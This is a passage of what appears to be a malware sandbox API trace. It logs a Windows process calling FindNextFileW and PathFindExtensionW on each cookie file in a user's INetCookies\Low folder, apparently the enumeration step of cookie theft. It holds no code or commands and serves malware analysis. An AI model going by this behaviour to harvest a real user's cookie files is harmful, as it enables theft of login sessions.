(pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\23JC2UTD.txt") returned=".txt" [0317.046] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.046] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\2EQ4E2OJ.txt") returned=".txt" [0317.046] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.046] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\2HYILE1O.txt") returned=".txt" [0317.046] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.046] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\3RW4K76X.txt") returned=".txt" [0317.046] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.046] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\3VVSZ2CO.txt") returned=".txt" [0317.046] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.046] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\4MN240WN.txt") returned=".txt" [0317.046] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.046] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\4O6583I0.txt") returned=".txt" [0317.047] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.047] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\4YWCPPXN.txt") returned=".txt" [0317.047] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.047] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\4Z6UDYLY.txt") returned=".txt" [0317.047] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.047] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\5AFMRGRY.txt") returned=".txt" [0317.047] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.047] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\5ARQYMIV.txt") returned=".txt" [0317.047] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.047] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\5AV8L20N.txt") returned=".txt" [0317.047] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.047] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\5NWXN3UI.txt") returned=".txt" [0317.047] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.047] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\5STJ6NZL.txt") returned=".txt" [0317.047] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.047] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\5TAY54V0.txt") returned=".txt" [0317.047] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.047] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\5WQEGNKI.txt") returned=".txt" [0317.047] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.047] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\66I0OJL8.txt") returned=".txt" [0317.047] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.047] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\80J4IH0Y.txt") returned=".txt" [0317.047] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.047] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\8FFCGS26.txt") returned=".txt" [0317.047] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.047] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\9ABR37NL.txt") returned=".txt" [0317.047] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.047] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\9IJPMFHZ.txt") returned=".txt" [0317.047] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.048] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\9M7ZHW1Q.txt") returned=".txt" [0317.048] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.048] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\9XACNSYG.txt") returned=".txt" [0317.048] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.048] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\9Z1Y5ICI.txt") returned=".txt" [0317.048] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.048] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\A0RK8A2H.txt") returned=".txt" [0317.048] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.048] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\AA2IJ7JU.txt") returned=".txt" [0317.048] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.048] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\B427TFXJ.txt") returned=".txt" [0317.048] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.049] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\BK4HNAZ1.txt") returned=".txt" [0317.049] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.049] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\CC7DS78R.txt") returned=".txt" [0317.049] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.049] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\CDGOWO27.txt") returned=".txt" [0317.049] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.049] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\container.dat") returned=".dat" [0317.049] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.049] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\CYHYO8JD.txt") returned=".txt" [0317.049] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.049] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\D9QO3KHK.txt") returned=".txt" [0317.049] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.049] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\DN8YUCVA.txt") returned=".txt" [0317.049] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.049] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\DQI7WAG8.txt") returned=".txt" [0317.049] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.049] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\DRDF2EZX.txt") returned=".txt" [0317.049] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.049] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\E2KPI4ZI.txt") returned=".txt" [0317.049] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.049] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\E978TFRK.txt") returned=".txt" [0317.049] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.049] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\F68MFAMN.txt") returned=".txt" [0317.049] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.049] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\FCGXHIFT.txt") returned=".txt" [0317.049] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.049] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\FGTTES1V.txt") returned=".txt" [0317.049] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.049] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\FLTMVY1F.txt") returned=".txt" [0317.049] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.050] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\FOLSAQT6.txt") returned=".txt" [0317.050] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.050] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\GXB342YS.txt") returned=".txt" [0317.050] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.050] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\H5LCJX1B.txt") returned=".txt" [0317.050] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.050] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\HBPP9XXY.txt") returned=".txt" [0317.050] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.050] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\HF8F6LU0.txt") returned=".txt" [0317.050] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.050] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\HTVL5WIW.txt") returned=".txt" [0317.050] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.050] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\ILF13HLB.txt") returned=".txt" [0317.050] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.050] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\ISTFXHHR.txt") returned=".txt" [0317.050] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.050] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\ITD4OUAR.txt") returned=".txt" [0317.050] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.050] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\J4JSQG9R.txt") returned=".txt" [0317.050] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.050] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\JQOCYKOH.txt") returned=".txt" [0317.050] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.050] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\JWFWLAYR.txt") returned=".txt" [0317.050] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.050] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\K8249Y1G.txt") returned=".txt" [0317.050] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.050] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\KNJ4AJDH.txt") returned=".txt" [0317.050] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.051] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\L78EW25D.txt") returned=".txt" [0317.051] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.051] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\LC10XEWL.txt") returned=".txt" [0317.051] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.051] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\LVARU12Y.txt") returned=".txt" [0317.051] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.051] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\LY1NFEKN.txt") returned=".txt" [0317.051] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.051] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\LY3FDU65.txt") returned=".txt" [0317.051] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.051] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\M19117WZ.txt") returned=".txt" [0317.051] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.051] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\MA5WDFBR.txt") returned=".txt" [0317.051] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.051] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\MBJX4MYA.txt") returned=".txt" [0317.051] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.051] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\MCAKE788.txt") returned=".txt" [0317.051] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.051] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\MIL4MU1S.txt") returned=".txt" [0317.051] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.052] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\MM8KB9U2.txt") returned=".txt" [0317.052] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.052] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\MMPF10F4.txt") returned=".txt" [0317.052] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.052] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\MOE7DCQU.txt") returned=".txt" [0317.052] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.052] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\NEHE4KDB.txt") returned=".txt" [0317.052] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.052] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\NOCAHPZ6.txt") returned=".txt" [0317.052] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.052] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\NYCCG1AV.txt") returned=".txt" [0317.052] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.052] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\O8FFFI2K.txt") returned=".txt" [0317.052] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.052] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\P778SMC9.txt") returned=".txt" [0317.052] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.052] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\PF9HBAFQ.txt") returned=".txt" [0317.052] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.052] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\PK3I34UV.txt") returned=".txt" [0317.052] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.052] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\QUMCK8L4.txt") returned=".txt" [0317.052] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.052] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\RAYRHE6Z.txt") returned=".txt" [0317.052] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.052] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\RQK5QF4L.txt") returned=".txt" [0317.052] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.052] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\RTEPN67M.txt") returned=".txt" [0317.052] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.052] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\RYK7X1K4.txt") returned=".txt" [0317.052] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.053] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\S0EK69P5.txt") returned=".txt" [0317.053] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.053] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\SEVCUJM3.txt") returned=".txt" [0317.053] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.053] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\STGOZ493.txt") returned=".txt" [0317.053] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.053] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\T1LCPPSA.txt") returned=".txt" [0317.053] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.053] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\TCXQPY9L.txt") returned=".txt" [0317.053] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.053] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\TEW946CI.txt") returned=".txt" [0317.053] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.053] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\TFCJHLEI.txt") returned=".txt" [0317.053] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.053] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\U2OYIS47.txt") returned=".txt" [0317.053] FindNextFileW (in: hFindFile=0x64fbf70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0317.053] 